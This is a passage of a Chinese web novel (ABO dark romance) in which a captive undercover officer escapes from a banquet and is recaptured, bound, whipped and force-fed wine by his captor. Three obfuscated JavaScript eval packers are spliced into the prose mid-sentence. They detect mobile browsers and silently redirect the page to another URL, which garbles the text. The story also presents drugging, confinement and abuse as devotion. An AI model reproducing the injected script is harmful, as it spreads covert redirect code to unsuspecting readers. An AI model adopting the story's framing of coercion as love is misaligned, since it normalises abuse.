沈闻睡觉时喜欢侧着睡,天气渐冷,厚实的被子几乎遮住他大半张脸,被压在底下的声音便也显得闷闷的,本就不高兴的声音听上去更不高兴了: “你把我困在家里还不满意,非得让所有人都知道才够?是吗?” “是向他们介绍我的爱人。”顾承厌纠正。 但沈闻说的有一点也没错,他确实想让所有人都知道,知道他现在已经不是一个人,好让那些有行动没行动的全都把心思收一收: “晚点我让人把衣服送你房间。” 7. 逃跑机会 第二天一早,顾承厌给沈闻订制的礼服便让人送到了别墅。 银白间的配色,恰到好处的银制胸针,衣服装在礼盒里,负责送衣服的还是个熟人—— 三水,之前在三十二层就是他负责日常给沈闻送过饭,后来的通风报信也是他。 顾承厌一向懂得怎么拿住沈闻的软肋,他知道以沈闻的性子,如果是他亲自来请,沈闻绝对不可能答应今天这场出席,但若是换个人,事情就不一样了。 联盟近百年来最年轻的少校,21届军联学院优秀毕业生外加当年专业综合排名第一,即使来黑鸟卧底这么多年,道德底线还是会比一般人高得不少。 换言之,他绝不会为难眼前这位年仅十七八岁的少年。 果不其然,沈闻开门后,见到门外站着的是个略显稚嫩的少年时,眼底难以控制划过一抹惊诧。 “沈……沈先生早啊。”少年还是一如既往的腼腆不会说话。 后来下午四点,来接沈闻的专车停在别墅大门外,沈闻也没抗拒,准确来说是无法抗拒,跟着前来接自己的人上到车后座。 “沈先生,我们到了。” 夜幕降临,黑暗笼罩住了三区上方整片天空,却盖不住底下满城的奢靡繁华。越是混乱,便越是纸醉金迷,这片名为“揽金区”的地方甚至比联盟一区最大的不夜城还要繁荣,光是表面所见,就已是首都中心达不到的程度。 顾承厌带人来的地方不算太乱,一家正经营业的五星酒店,大门顶端LED亮着“铂悦酒店”四个大字,过去沈闻也曾来过这里应酬,不过那时他都是以个人身份来,或者说,是以黑鸟顶层管理人员的身份来。 “干爹。” 酒店门口,顾承厌早已在外等候多时,等车停稳,便俯身亲自替人打开车门。 周围一群服务生,一群人按惯例在人来人往的酒店大门前为VIP客户围出一小片空地,但根据站姿及面容特点,不难看出这其中至少一半是顾承厌自己安排的保镖,当然,也可以叫看守。 沈闻简单扫了眼四周,随即由着对方将自己扶下车,对于顾承厌自然而然搭上自己肩膀的手也没任何反应,这种场合下,他也不想跟顾承厌闹得太难看。 司机将车驶离,为首几个服务生也领人进入场内。 这场宴会其实办得不算大,简单来说就是一场为林氏掌权人林震华接风洗尘的宴。林氏在二区掌管联盟主要运输产业近百年,黑、林两家更是在数十年前便已经建立起深厚的合作关系,而一年前黑鸟突然换了个老大,林老总蹲在二区观察许久,眼下看风口不太对,终于舍得亲自来三区与顾家的小辈谈合作。 而参与此次宴会的人大多与黑鸟有着密切的关系,最主要当数蒋、金以及邵三大黑鸟麾下的附属家族。 沈闻一路跟在顾承厌身边走进宴会场,周围放眼看去几乎全是老熟人。相比沈闻的波澜不惊,这些人可就没那么沉得住气了,一双两双眼睛只要逮到机会全都往这边看,但迫于俩人的威严,这些人也只敢小心看两眼,私底下甚至连“沈闻”这个名字都不敢多提一句。 “顾老板,沈……先生。” 人群之中,蒋宣端着酒杯,穿过人群来向俩人打招呼。 彼时沈闻刚在会场内站定,抬手接过顾承厌递给他的红酒杯。 一丝不苟的白色西装衬在优越的腰身,偏长但打理得十分得当的银灰发丝垂在而后,沈闻侧身而立,堪称过分漂亮的一张脸上一如既往没多少表情,端着高脚杯的手轻轻一斜,向前来问候的人回礼道: “蒋先生。” 蒋宣闻言似乎有那么一瞬间晃神。 面前神态散漫的Alpha带着副黑皮手套,被手套包裹的两根修长手指轻轻架着高脚杯,杯内红酒摇晃,其中散发的香味仿佛就与沈闻本人如出一辙。有这么瞬间,蒋宣恍惚觉得自己面前这位依旧是昔日那个冷静果敢、运筹帷幄的黑鸟二把手,前些天在越庭看到所有的一切,不过自己大梦中出现的一场幻觉。 “蒋先生?” 清冷的声音再一出口,瞬间便将愣神中的人立马扯回神。蒋宣瞬间收回目光,扯起嘴角抱歉般笑了笑,随即举杯,跟在沈闻动作之后将杯中的酒一饮而尽。 “哎呀,这段时间真是辛苦顾老板,没有您我们这次怕要在联盟那帮老贼手下吃个大亏啊。” 没等顾承厌开口,桌台另一侧,蒋恒桥不知何时也已经过到这边,一只手拍上蒋宣后背,极其自然便与顾承厌开口寒暄:“后生可畏后生可畏,蒋宣,还不跟人承厌多学学,小孩子家家一天到晚就知道做你那些设计。来,顾老板,我敬您一杯。” “蒋叔谬赞。” 顾承厌也端起一旁的酒杯,跟着应了两句,手中的酒也很快见了底。 到底是才上位短短一年,不可能什么应酬都不参与。 蒋恒桥俩人离开后,很快新一批露脸的人又接二连三上前,人数不算多,却胜在每个人扯皮的本事都了得,其中不乏有人明里暗里想来打听俩人现在的关系,然而沈闻这边他们无法下手,顾承厌那边便更不可能,应付将近半小时,这场虚与委蛇才勉强告一段落。 “累了吗?要不要吃点东西?” 大厅内,不知名的钢琴曲还在缓缓流淌,水晶灯下的桌面摆放整齐各式各样的酒水食盘。不过来这儿的人大都不为这些,等中间一场间隙,顾承厌领着沈闻去到一张人少的桌子前,上面的酒水食盘几乎没被动过。 顾承厌随手将酒杯放上餐桌,接着拿起餐盘亲自给沈闻挑了一块牛排:“垫下肚子,不然胃会难受。” 周围来来往往的人不少,许多的眼睛都在往这边看,沈闻接过餐盘,一只手撑在桌边,到底没拒绝顾承厌的意思,拿起银叉小口小口吃起碗里的东西。 “老板,那边林总的人找您。” 刚停歇没一会儿,传话的服务生又来到俩人面前。 说起来,沈闻在这之前参与过的比这更高强度的酒局可谓比比皆是,甚至在三区还有过“万杯不倒”这一离谱称号,顾衷在世时也总是热衷于带上他来给自己挡酒。但今晚,沈闻估计自己最多喝了不到半瓶红酒,就被顾承厌以“免得待会儿喝醉”为理由拿走了酒杯。 “跟紧我,谈完这里我们就回去。”顾承厌说着,顺势揽过沈闻后肩。 然而这一动作却被沈闻不动声色躲过。沈闻垂着眸,用一种稀松平常的语调向对方解释:“我先去趟洗手间。” “……好,我叫人陪你一起。” 像在担心什么,顾承厌有一瞬间沉默,但也只是瞬间,便点头同意了沈闻的请求:“快去快回,我在那边等你。” 沈闻当然没想要在这时候逃跑。 先不说身上这个难搞的CN定位器,单是身后跟着的两个S级,沈闻目前也没有办法快速解决。更何况以顾承厌的性子,第一次带他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318941|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,暗地里布置的东西肯定不少。 一张密不透风的网,被罩在其中的鸟仅凭自身根本找不到出口。 不过就算跑不了,出来透口气也是好的。沈闻的信息素是酒,但本人其实并不很喜欢酒,也不喜待在这种热闹的场合。 万幸今天的场合不并用笑,不然这会儿脸都该僵了。 一边有一挂没一挂随便想着,沈闻往卫生间方向走,刚脱离顾承厌视线范围,旁边立马有人凑上前。 “沈四爷晚好。” “有事?” 沈闻回头,视线往旁一侧,开门见山。 这是一种高位者习惯性听人说事的姿态,眼睫自然垂落,表情放松,明明没有在压迫,沈闻的神情甚至算得上温吞,但那人还是下意识打了个激灵,话到嘴边最后还是变成: “没、没事……” “没事我就先走了。”沈闻说完,转身便走。 想来打听消息的人尴尬定在原地。传言一区来的卧底已经被按规解决,可现在沈闻却和顾承厌一起出现在宴会场,还顶着个联盟少校的名头,周围不少人也想打听情况,奈何两边似乎都下不了手。 另一边,沈闻倒半点没受影响,进了卫生间,打开龙头站在镜子前细细洗起双手。 水是恒温的,在十月末的三区也不会显得冻手。沈闻洗净手后,抽出一张纸来擦干,一边擦,同时直起身,余光透过面前的镜面正好瞥见背后有人正看着自己。 一个毫无印象的人,棕色卷发,瞳孔也呈现深棕的颜色。沈闻不记得之前被迫社交时有遇到过这号人物,因此视线也不自觉往那人身上多停了两秒。 紧接着,他很快便发现不对。 背后这人居然是个Omega,与卫生间内熏香味极其相近的S级桂香型信息素如厚棉般不知不觉已然盖遍整块方圆之地,沈闻转身,视线径直与那人相撞。 “你就是沈闻?” 林眠站在角落的阴影边缘,手上大部分位置都被阴影覆盖,以至于沈闻根本看不清他手上拿的到底是一支针剂,还是一管与针剂类似的什么东西。 “承厌哥就是因为你,才拒绝让我暂住进越庭的?” Omega说着,往前又移动一小步。沈闻不欲理人,移开目光转身准备走,身后那道身形却在此刻从阴影下露出,借着卫生间的灯光,沈闻终于看清他手里攥着的东西—— 一支莹蓝色液体药剂,外形酷似联盟一区常用的神经麻痹剂,其中还有类似荧光粉的物质在液体内部不断漂浮。沈闻轻眯了眯眼,确认这药就是印象中一区常见那个版本,先是皱眉,而后突然想到什么心跳猛地一滞。 “看来是你没错了。沈闻是吧,你是个Alpha?Alpha怎么有脸做出这种事的?实话告诉你,我母亲与爷爷这次来,就是来商定我跟承厌哥的婚事的,你要是识相点,现在就该……” 对方说了很多,但实际上沈闻一句都没仔细听清楚。 一个惊人的念头在脑海中迅速生成,对方背后是谁在操盘,他们是怎么拿到一区的东西,现在又是怎么迷惑过顾承厌身边那群人的,各种问题在眼前接连浮现,但这一切都不是最重要的。 最重要的是,在看清对方眼底毫不掩饰的厌恶以及高窗外隐约的人影,沈闻突然意识到一件事。 那就是,他逃跑的机会来了。 即使很匆忙,但,机不可失,失不再来。 8. 跑! “你有在听我说话吗?” 看对方始终站在洗手台没动作,林眠不悦地蹙起眉心,攥着药剂的指节也微微泛起白。 沈闻再次扫视一眼旁边,开得两米高的通风窗外,的的确确有两道贴墙而立的、不属于黑鸟的人的身影。 他想自己此刻应该祈祷一下对面本事再强一点,最好能带着自己在顾承厌眼皮底下离开市中心。 “算了,反正这一针下去你也不一定能活着醒过来,下辈子记得长点心眼,不该碰的人就别去肖想。” 对面的Omega长相很乖,皮肤白净五官精致,但站到沈闻面前,却还是如同鹅石见到璞玉,向来引以为傲的东西就这样被直接碾压了下去,林眠终于下定决心。 铺天盖地的S级压迫信息素压上后颈,即使贴着阻隔贴,Omega的信息素等级也不比沈闻高,沈闻还是感受到一丝难受,眼前仿佛被一层薄纱细细笼盖。本来这种程度的压迫沈闻甚至不需要动用信息素,也能完全摆脱对方束缚,然而沈闻完全没反抗。 甚至有些乖得过头了。 林眠还以为对方多少都会挣扎一番,虽然这些挣扎并不能起到太大作用,但沈闻这副引颈就戮的妥协姿态还是带给他不小疑惑,Omega手上动作顿了顿,窗外立马响起一声提醒: “动作快点!时间有限!” 完全陌生的声音,沈闻此时已经被逼至角落,闻言再次将视线移到窗外。 还是什么都看不清,但根据体型不难判断对面都是Alpha,下一秒,一整支药剂便被完全推入体内。 眼前很快泛起一片黑点,窗外有人翻进来,两声重物落地的闷响,沈闻只来得及看清对方手臂上一串刺青,紧接着,黑色口袋便从头盖落。 ——“research”。 夜色下两个Alpha手腕内侧的刺青文字。 _ “接下来的事情我就不用参与了吧?你们把人带走,我就先回会场了。” “别急着走啊林小少爷,都一起到这儿了,不如多跟我们走一段路,咱几个路上怪无聊的啊。” “有病吧?我帮你们只是各取所需,你这是什么意思?” “哎?不过我说,其实沈少校长得也不比Omega差劲吧?你们如果想,不如……” “034你闭嘴!车来了,先把人运上车再——” 小巷路口空无一人,冷风刮过树叶,带起一阵沙沙的声响。 几个Alpha站在路边阴影下说着话,烟头的火光在黑暗中时明时灭,其中一个Alpha蹲到地面,手指刚接触地上躺着的人,口中的话音便戛然而止。 “咚——” 倒地的声音不轻也不重,放在整个寂静的巷口却是十分的明显。 眼看同伴突然倒下,周围几个Alpha立马警觉,然而为时已晚。 玫瑰酒的烈香压过各种气味瞬间遍布整个小巷路口,红酒的烈性裹挟玫瑰的冷香几乎以压倒式的力道压到几人身上,几个Alpha顿时面露痛色,而另一边,沈闻将撕下的阻隔贴随手一甩,看都没多看几人一眼,转头迅速来到路边刚停稳的白车前。 “你……” 驾驶座上的Alpha还没来得及开口,下一秒便被打晕丢到路边。身后几个人还行上前阻拦,然而还没碰上对方,整个人已然被一记过肩摔一把摔到地上动弹不得。 八分钟,手环还没发出警报,顾承厌应该还没发现自己已经离开铂悦。 “你不是……”小巷口,林眠此刻早已瘫坐在墙角,额间满是被信息素压迫出的细汗。 明明亲手给对方注射了一整支“蓝石”,那些人也再三保证这种一区的药剂药效绝对够硬,可现在,距离注射药剂才过去不到十分钟时间,眼前这人看上去竟已经完全清醒?! 沈闻最后回头又看了巷口几人一眼,仅一眼便叫在场所有人后背一冷,不敢再上前半步。 时间很紧,这里与铂悦其实也只隔了一条街的距离,不然沈闻高低会现场审一翻几人的身份再走,可惜他并不敢赌顾承厌什么时候发现异常。 先去到地下城再说。 径直上到驾驶座,拉手刹,点火,沈闻回身迅速拉上安全带,白车调了个头,转眼便消失在道路尽头。 两侧景色飞速后退,沈闻特意挑了人少的路,趁着夜色连闯好几个红灯一路往远离市中心的方向走。 现在是晚上九点四十,如果情况顺利,他可以赶在十点半之前进到狂夜地下城,十点半以后,狂夜第一场狂欢开始,到那时顾承厌再想找人就会麻烦很多。 远离铂悦那带的不夜城,道路上的车辆明显更少了,空荡荡的街道几乎见不到一辆车,两边昏黄的路灯一盏接一盏快速从窗边划过。直到下了第二座高架桥,沈闻方向盘一打,白车径直转入一条小路。 沈闻将车停到路边,松开方向盘,才发觉自己手心不知何时早已渗出层薄薄的汗,将黑色的方向盘都沾湿一小片。 头顶路灯坏了一盏,整条小路在树荫下显得阴森又死寂。这里距离地下城还有近半小时路程,距铂悦也有了一定距离,不知道手环是否还有其他特殊功能,思来想去,沈闻还是决定将手环先取下。 “叮——识别失败,请勿频繁操作。” 周围只有树影,冰冷的电子音在一片死寂的车内格外显眼。 沈闻皱着眉,将一块金箔纸般薄削的软刀片直接卡入手腕与手环之间。 刀片贴着手环旋走一圈,沈闻手上动作迅速到堪称狠厉,像是无知无觉般,仅两秒不到,沾着血渍的手环便被硬生生从手腕上扯落。白皙的手臂几乎被那血色染红了个遍,车窗打开条缝,黑色手环被随意往草丛一丢,来不及多做停留,几秒后,沈闻再次启动汽车,白车径直朝地下城所在方向驶去。 九点五十五,顾承厌肯定已经发现异常,但两边街道并未发现可疑车辆。 十点一十,沈闻闯了今晚不知第几个红灯,好几次踩着绿灯尾巴压过路口。 十点二十五,很近了,两边的街道已经因为夜市的繁华而再次挤满车辆行人,头顶花花绿绿的大屏广告照得底下一片景色全都变了形。 眼看路上已经开不动车,沈闻在路边停下车,随手抓起车主人落下的一顶棒球帽,推开车门,直接步行前往地下城入口。 “Ladies and gentlemen,下面,让我们掌声欢迎今晚第一位登台者——白仞先生!” 进入地下城最底层拳场的刹那,即使知道自己并不完全安全,沈闻还是忍不住松了口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318942|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 场上的比赛刚刚开始,一波接一波声浪冲向擂台几乎要将整个地下拳场的穹顶掀翻,擂台上俩个Alpha接连上场,一身的强壮肌肉看起来能一拳干翻一匹狼。 沈闻站在下凹式观众席的最上排,垂着眸,一只手撑着石柱,一边感受胸腔内不太平稳的心跳,额间不断有细汗渗出。 “咦?这不是沈四爷吗?稀客啊,今天怎么有空来狂夜玩了?” 五年前,沈闻刚到三区,为了快速建立起威信没少来这里打黑拳。这几年逐渐站稳根基,打的时候自然也少了,但也不绝对,因此薛长隽见到他第一眼时,根本没往对方是来藏身这个方向想。 当然,这也得感谢黑鸟的消息封锁比较严,直到现在除了黑鸟内部没有其他人知道沈闻是一区卧底这件事。 “借我一身衣服,我洗个澡。” 走得太过着急,钱包银行卡什么的一样也没在身上。于是沈闻只能提出借用了,反正薛长隽不会拒绝就是。 “很着急吗?今晚在这边住?” 即使沈闻面上不显,薛长隽还是从他偏快的语速中捕捉出一点着急的意思。 但不该问的问题就别问,在狂夜经营这么久,薛长隽能活到现在跟自身“绝不多问一句”的良好素养脱不了干系。也正因如此,沈闻话刚说完,薛长隽很快便将事情交代下去,半个字也没多过问沈闻: “F1013号房,准备一套均码男款全套,面料拿最好的……沈先生,房卡在这边。” “嗯,谢谢。”沈闻接过房卡转身欲走。 “害,跟我谢什么谢,当初不是你我还不知在哪里沿街乞讨。” _ 夜里十一点,沈闻在浴室冲着热水,紧绷两个小时的神经才终于勉强得以松懈一些。 浴室氤氲着厚厚一片水汽,连带镜子内修长白皙的人影也变得模糊不清,身上拉拉杂杂的气味终于在热水下散了,沈闻站在花洒下,感受水滴从头顶洒落滑过每一寸皮肤,良久,轻轻吐出口气,关了水。 他是那种很不容易留疤的体质,很难想象,这么多年枪林弹雨下来,一个Alpha身上的皮肤还能光洁白皙到堪比一区娇生惯养的O性贵少爷。但事实就是这样,除去后背那两道偏深色的印子,镜子前,沈闻身上为数不多的瑕疵便只剩手腕上那道已经凝固的血痕。 顾承厌这会儿大概率已经在派人找自己了,不出意外,即使没有定位手环,凭对方在三区只手遮天的能力要不了几个小时也能找到这儿。等洗完澡,他还是不能一直待在房间,至少得待在人群里等过了今晚,再做打算。 大脑里一边精细计算着各种可能遇到的情况以及逃跑策略,连最小的细枝末节都全部纳入考量,沈闻再次呼出一口气,强迫自己放松些,一边将手腕处的伤口包扎好。 没关系,狂夜地下城可谓三区出了名的混乱地带,大场上每夜前来狂欢的人成千上万,内部通道交错复杂,即使顾承厌找来,想抓到自己也会有一定难度。 这样想着,沈闻穿着一身略显宽松的T恤长裤,推开门走出浴室。 大房里只开了一盏灯,昏黄的光线勾勒得整个房间都一片朦胧。昏暗下,坐在沙发间早已等候多时的男人听到开门声,抬头。 “干爹,你想去哪儿?” 9. 惩罚 沈闻想,他还是低估了顾承厌这个人。 16岁以一己之力逼迫亲生父亲将自己认回顾家,短短三年便接手黑鸟大部分产业,20岁那年亲手逼死了父亲以及另外两个同父异母的兄弟彻底掌管黑鸟,据说他接手黑鸟的计划原定是要再等一年后才执行,但中途不知出于什么原因,计划主观提前了,即使在明知道晚一年夺权的压力会小很多的情况下。 年轻莽撞却又偏生能力超群。 而现在,看着眼前单手持烟的男人,沈闻甚至不知道对方到底什么时候进来,又是什么时候坐在这里的。 他跑不掉了,至少在今天,跑不掉了。 意料之外,情理之中。 意识到这点之后,沈闻很快便接受了自己的现状,擦着头发的手仅仅停了半秒,接着便若无其事般,继续手上的动作。 屋里光线实在有些昏暗,烟头的火光明明灭灭。晦暗的阴影将顾承厌大半张脸都掩藏在灰暗中,以至于沈闻根本看不透对方此刻脸上是一种怎样的神情。 偌大的房间只剩一坐一立两道呼吸,顾承厌没再开口,沈闻也没有说话,毛巾反复擦过头发发出“沙沙”的轻响,直到一支烟燃尽,坐在沙发间仿佛石像般沉默良久的Alpha才终于站起身,走至沈闻面前。 “三区最近还是不太平。” 顾承厌开口,嗓音低沉,身上的烟草味也明显比以前更浓烈些,但并不是信息素,仅仅是单纯的香烟。 沈闻没动,神情姿态甚至算得上放松,任由对方将自己完全笼罩在阴影下,当顾承厌的手伸上前覆盖住他眼睛,很自觉便先一步合上眼。 “干爹,先睡会儿。” 顾承厌的怀抱很宽,足以将一个沈闻这般体型的人禁锢其中,无法逃离。 - “厌哥,还以为您不来了!刚才您在会场上提前离开,我们几个还以为您有什么要紧事,您这是事情处理完了?” 暗沉的灯光伴随震耳欲聋的音响疯狂摇晃,满池男女早已在DJ炸起前便投身于这场终点狂欢。 酒吧内,顾承厌站在大门的角落,周身堪称沉重压抑的气氛简直与整个酒吧格格不入,也因此,即便神情完全掩藏在黑暗下,周扬还是察觉出一丝不对,再开口时音调明显变低: “您……是带了伴侣一起来的?” “嗯。那几个呢?” 周扬:“林小少爷身体不适先回去了,林老板来坐了会儿也走了……那、那我现在去给您安排一间包厢?” 顾承厌顿了几秒,而后才回答:“一间包厢,东西也准备一套。” “哎好的厌哥,我这就去。” 周扬得了命令立马一溜烟消失在灯红酒绿,顾承厌站在原地,视线落在满池来回扭动的身体,注意却并不在其上,缓缓从口袋掏出一张阻隔贴。 等级越高的AO越是能够很好控制住自身信息素的释放,但顾承厌还是撕开口袋,将阻隔贴贴上后颈。 只是一点药粉,沈闻睡了不到半小时,很快便从昏迷状态下醒过来。 眼前一片漆黑,视线被一块条状的丝绸完全覆盖。 刚醒来的脑袋还有些昏沉,但好在药效并不强烈,只一会儿,沈闻便明显感受出自己此刻的情况: 手腕被什么东西绑着,双膝微分开跪在柔软的不知地毯还是被褥的东西上,双手随着捆绑被高挂过头顶。无际的黑暗下,其余感官都随着视觉剥夺被无限地放得很大,丝绸绑在身上还带着丝丝凉意,连坐在自己面前的那个存在,都在此刻变得无比突出,无法忽视。 “干爹,醒了?” 就在此时,顾承厌的声音自黑暗中响起。 听到声音,沈闻轻轻一颤,嘴唇也下意识紧抿起来。 太像了。 那天晚上在三十二层,顾承厌也是用这样的语气,脑海中不自觉便浮现出那天的种种,即使对方还什么没做,沈闻还是下意识紧绷,但也只是一瞬间,这丝紧张便被他尽数压回心底。 “你做什么?” 沈闻开口,平缓的声音掺杂些许刻意压抑的紧绷,即便不明显,还是让顾承厌听出了些许不同。顾承厌换了个坐姿,原本靠后而坐的姿态转为身体微微前倾,手肘撑在膝盖,带着枪茧的指尖一下下,摩挲手中皮鞭。 “沙沙”的摩擦声在昏暗寂静的房间里缓缓回荡,沈闻被蒙着眼,却还是通过敏锐的听觉,一下便辨认出对方手中的东西。 “不听话,就该受点罚,干爹觉得呢?” 顾承厌再次动作,折叠成几段的皮鞭一端轻轻挑至沈闻下巴,使其被迫仰起头,纤细的脖颈微微向上拉扯,被蒙着的双眼隔着一层红绸沉默无声与顾承厌相对视。 “念干爹是初犯,30下,自己数,可以么?” 粗糙的皮鞭划过皮肤引起身体一阵生理性的颤栗,沈闻仍抿着唇,也不作答,只是透过那冰冷的侧脸能明显看出他此刻心底无比的嫌恶与抗拒。 就如同面对一只下水道里肮脏老鼠。 只可惜他的双眼被遮住了,那双漂亮凌厉的眸子被掩藏在一层鲜红的颜色下,不然这副嫌恶还能更刺眼醒目些。 顾承厌握紧皮鞭的手紧了几分,又松开。 “算了,干爹肯定不会数。那这样,一鞭一杯酒,喝完便算数行吗?” 面前坐着的人收回皮鞭,转身到一旁的桌子上倒起酒。液体撞入杯中的酒味接连带起一阵轻响,转眼间桌面上便整整齐齐摆放一长排酒杯,杯中还是玫瑰酒,与沈闻身上一模一样的味道。 “来吧,先喝酒。” 顾承厌的声音低沉到吓人,手上平稳端起一杯酒,另一只手卡到沈闻下颚。 沈闻开始小幅度挣扎起来,他不喜欢被灌酒,尤其是像这样被掐着下巴毫无还手之力地强灌。然而他完全挣扎不开,双手皆都被绑在头顶上方动弹不得,随着极具刺激性的辛辣酒液一个劲往喉咙里涌入,难受的感觉层层累积,那一刻,整个世界仿佛都被鲜红的酒液切割从一块块光怪陆离的景象。 “滚……咳、咳……” 还没来得及喘息,沈闻猛地垂下头,咳嗽,背后偏下部位便突然被顾承厌重重一抽! 皮鞭划破空气发出刺耳的声响,但更刺耳的还要数鞭身落在后背上。 隔着一层薄薄的T恤,沈闻只觉那地方一阵火辣辣的疼,不同于以往受过的鞭伤,这次的鞭子并没能将他的后背擦出血,只是在其上留下一道醒目的红痕。疼,但头一阵过后,更多的则是一阵说不清道不明、几乎比疼痛更难以忍受的麻意。 从嘴角溢出的酒液打湿了胸前一大片,沈闻颓然弯下腰,脸上依旧那副冰冷淡漠的表情,然而额间的碎发早已被汗水浸湿,牙关紧咬着,整个人已然陷入一种混乱状态。 只是这样以后,顾承厌还是没打算给他喘息的机会,紧接着便端起下一杯红酒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318943|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “第二杯。” 顾承厌将酒再次灌入对方口中。 背后又是一阵火辣辣的疼痛,接着又是辛辣,沈闻几乎闷哼出声,被捆绑的双手紧握成拳,跪也有些跪不住了,如果不是绳索还紧紧拽着他,他这会儿估计已经摔倒在地,或是早已倒入顾承厌怀中。 周围实在太黑了,双眼什么都看不见,溢出的酒液粘膩地染到嘴角、脖颈、凸起的锁骨……好混乱,周围的一切仿佛都在此刻不断旋转起来,不知是不是在这之前状态就不好的缘故,没过多久,沈闻便感觉自己似乎醉了。 居然醉了? 不知是不是醉,反正头很昏。 难以言说的困意几乎以一种可怕的速度迅速侵袭上他的大脑,仅瞬间便占据掉他一半以上的思维能力,当不知喝下第几杯红酒,沈闻反抗的手上终于泄了最后一丝力,原本攥紧的苍白的指尖缓缓松开,徒留手心一道道几乎渗血的痕迹。 顾承厌也在此刻停下了手里的动作。 头顶只开了一盏小灯,微弱的光勉强勾勒出房间内两个人的轮廓。坐在高位的Alpha放下手中准备再灌的酒杯,眼皮向下垂落,晦暗不明的视线静静地,轻抚过沈闻脸上。 应该是昏睡过去了。 酒杯扣在桌面发出“叮当”一声轻响,酒液在其中晃荡,这杯酒的旁边,还有至少十杯以上的红酒仍满着,安静立在长桌上。 顾承厌从座椅上站起身,借着昏暗的灯光,半跪在沈闻面前,替人轻手解开手腕处的束缚。 这种绳结绑得十分有技巧,既紧,又不至于让手腕受伤。昏昏沉沉的人失去支撑骤然便往前倒去,却又被顾承厌一把稳稳揽过按入怀中,轻微泛红的手腕被轻轻托起,顾承厌眸色微动,埋头细细看了眼被绷带包裹的左手。 还是有点受伤,纱布渗出了一点点红,但好在并不严重,等会儿重新包扎一下就好。 这样缓缓思考着,顾承厌一边小心抱起怀中的人。 沈闻似乎已经彻底失了力气,软软倒在顾承厌怀中,双眼闭着,只有指尖与睫毛还偶尔轻颤一下,浑身上下随着意识的混乱半点没了刚才那般刺人与冰凉。顾承厌仍垂着眸,抱着怀中面色苍白凌乱不堪的人,良久,才缓缓从地上起身,将沈闻完全笼罩在怀抱中叹出口气。 “干爹,我该拿你怎么办啊?” “明明已经把信息素收得很好了,待在我身边就这么难受,还是说那个已经抛弃你的组织对你来说就这么重要?” 像又突然回忆起什么,顾承厌感受着沈闻身体的轻颤,低声自语:“还有三年前在仓库,你不是说过会保护我,为什么看都不看我一眼就走?” 三年前,顾承厌曾在与顾衷的斗争中踩过一个极险恶的圈套,那是他唯一一次向沈闻求助,不过当时情况显而易见,他被完全无视了。 怀抱中,沈闻合着眼,眉头无意识紧蹙。 太疲惫了,紧绷着神经逃了一路又跪了这么久,这会儿酒精一上头,他已然完全没了力气睁开眼,也听不清对方到底在说些什么,只能在声音响起时象征性皱皱眉。 “算了,都过去了,既然你不想来,那我自己过去就是……只可惜你不是一个Omega,有了标记,是不是就不会再想逃了?” 黑暗完全笼罩住了站于阴影下的两个人,顾承厌立在场地正中央,最终还是没再管那桌面剩下的十七杯酒,抱着怀里的人,转身离开房间。 10. 复查 “审不出来,就直接当垃圾处理掉。他们既然敢来,那必然不会这样轻易露出马脚,让藏青安排人继续去查。” …… “林眠不是想来,明天就让人去接。林家那几个包庇人的本事倒不小……把人放我这儿,我亲自盯着。” …… 沈闻醒来时,窗外阳光已经在地面拉下一道不长不短的影子,下午一点过了。 也不知自己一觉怎么会睡得这么久,等意识逐渐回笼,沈闻缓缓睁眼看向窗外,旁边,顾承厌正坐在桌前跟手机对面通话。 梦中不清不楚的嗡响大概就是从这里传来的。 正好一段对话结束,顾承厌又与对面交代两句,挂了电话,转头看向躺在床上的沈闻。 “饿了没?我让孙姨把饭热一下。” 漆黑的眼眸一如既往含着温柔落到沈闻脸上,顾承厌看上去没有丝毫要提及昨晚那件事,说完不等沈闻回复,便自顾自低头给楼下孙姨发去消息。 装得简直人模狗样。 沈闻在心底冷冷评价。 但即便心里堵着口气,经过昨夜一事,沈闻今天明显乖顺很多,至少表面上看听话不少。大概他也终于意识到眼下这种情况继续反抗顾承厌只会对自己百害无一利,等顾承厌端着餐盘从门外再进来时,沈闻没任何反抗任由对方将自己扶起。 贴在柔软间的后背仍在隐隐作痛,但能肯定顾承厌才替自己上过药不久,丝丝凉意覆盖过皮肤,沈闻轻抿了抿唇,下一秒,一勺混着小米的白粥便递至他嘴边: “张嘴。” 沈闻默然一瞬,缓缓张嘴。 粥熬得很到位,掺了小米的口感比单纯白粥香很多。 一顿饭就这样在平静中度过,直到一整碗小米粥都见了底,那碟小菜也只剩零星一点葱花,顾承厌仍只字未提其他事,仿佛已经忘了般,放下手中的瓷勺,拿起纸巾替人细细擦过嘴: “复查时间到了,明天一早我带你去医院,今天先好好休息。” 